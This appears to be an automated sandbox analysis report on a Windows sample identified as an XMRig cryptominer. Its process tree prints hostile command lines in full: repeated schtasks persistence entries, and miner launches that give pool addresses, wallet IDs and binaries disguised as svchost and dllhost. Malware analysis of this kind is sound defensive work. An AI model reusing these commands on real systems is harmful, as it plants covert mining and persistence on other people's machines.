Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260126-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260126-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/01/2026, 02:04

General

  • Target
    file.exe
  • Size 2.8MB
  • Sample260129-chfhdafs3d
  • SHA256 ff0d1b2cddd488f80e76c5b9d0ee3a156572896d179df63996b6a899ebe86b82
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 15 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\5ff7e4a780194e17a3ac74ff882e9bfd.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2024
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\785da2ba90cd46908a7b2e8ed5186c8e.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4100
    • C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\svchost_cpu.exe
      "C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\svchost_cpu.exe" -o stratum+tcp://pool.hashvault.pro:443 -u 46xSZutyefDiNg35VU1fyt9rCp17bRgsnTuvBLPXnrb5XZXAW6BX9SZSz4hPBQJuyc1wTJr7AQg85Dh4G4qQ5DBfLTcLTXJ -p x --coin monero --cpu-max-threads-hint 70 --no-color --donate-level 0 --http-enabled --http-port 5555 --print-time 60 --retries 5 --retry-pause 5
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4564
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\3ddcea84899742c085295dc3d15581c6.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1540
    • C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\dllhost_gpu.exe
      "C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\dllhost_gpu.exe" -o stratum+tcp://rvn.2miners.com:6060 -u RUvaCkXy1cQ35zE6xFbcr9WceUeGruXk9f -p x --coin ravencoin --cuda --no-color --donate-level 0 --http-enabled --http-port 5556 --print-time 60 --retries 5 --retry-pause 5
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4372
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\8689eac401e9467083d36924e9df6d95.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3036
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\3b53b20b6af64202822fb3fdab0b0e54.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3956
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\f742e29b5baa41708f52aaca65c7d714.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1916
    • C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\svchost_cpu.exe
      "C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\svchost_cpu.exe" -o 64.89.161.236.3333:3333 -u x -p x --cpu-max-threads-hint 70 --no-color --donate-level 0 --http-enabled --http-port 5555 --print-time 60 --retries 5 --retry-pause 5
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4844
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\df535a55e8324add9f3def1ac9fce7dd.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:8
    • C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\dllhost_gpu.exe
      "C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\dllhost_gpu.exe" -o stratum+tcp://rvn.2miners.com:6060 -u RUvaCkXy1cQ35zE6xFbcr9WceUeGruXk9f -p x --coin ravencoin --cuda --no-color --donate-level 0 --http-enabled --http-port 5556 --print-time 60 --retries 5 --retry-pause 5
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4568
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\869071c658bc4aa9a5d2a706a423c576.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3076
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\109a9d18b9b24a9f8cdc36aa5960f790.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4684
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\72f083bed1034086b03340e6df9c5f44.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1108
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\b851435378b84bbe8d6d64c978c2b260.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2628
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\f7fd0e51b7414650a2e939b619e358e8.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1768
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\b9b9a804ae1b4e92b990ba41442d5627.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1900
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\4b350887e30c46aeb2f6c81a36949a20.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3160
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "file" /XML "C:\Users\Admin\AppData\Local\Temp\949d63bf15f94fb49077049ec1b6c53f.xml" /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4164
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ServiceHub\file.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ServiceHub\file.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:100

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        5ff7e4a780194e17a3ac74ff882e9bfd.xml

        • Path C:\Users\Admin\AppData\Local\Temp\5ff7e4a780194e17a3ac74ff882e9bfd.xml
        • Size 808B
        • SHA256 445228aaae437b56e7b143fe9d39ee5a7ee13cd4cac1d5233d117fe68e129e7f
        • MD5 SHA1 SHA512 TLSH

        svchost_cpu.exe

        • Path C:\Users\Admin\AppData\Local\Temp\mscorsvw_CC08C1EF\svchost_cpu.exe
        • Size 6.1MB
        • SHA256 d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        file.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ServiceHub\file.exe
        • Size 2.8MB
        • SHA256 ff0d1b2cddd488f80e76c5b9d0ee3a156572896d179df63996b6a899ebe86b82
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4564-18-0x000001C9FE470000-0x000001C9FE490000-memory.dmp

        memory/4564-22-0x000001C980130000-0x000001C980150000-memory.dmp

        memory/4580-0-0x00000274A8960000-0x00000274A899E000-memory.dmp

        memory/4580-1-0x00000274A8D40000-0x00000274A8D46000-memory.dmp

        memory/4580-2-0x00000274C2F00000-0x00000274C2F10000-memory.dmp

        memory/4580-3-0x00000274C2F00000-0x00000274C2F10000-memory.dmp

        memory/4580-24-0x00000274C2E30000-0x00000274C2E3A000-memory.dmp

        memory/4580-23-0x00000274A8E10000-0x00000274A8E22000-memory.dmp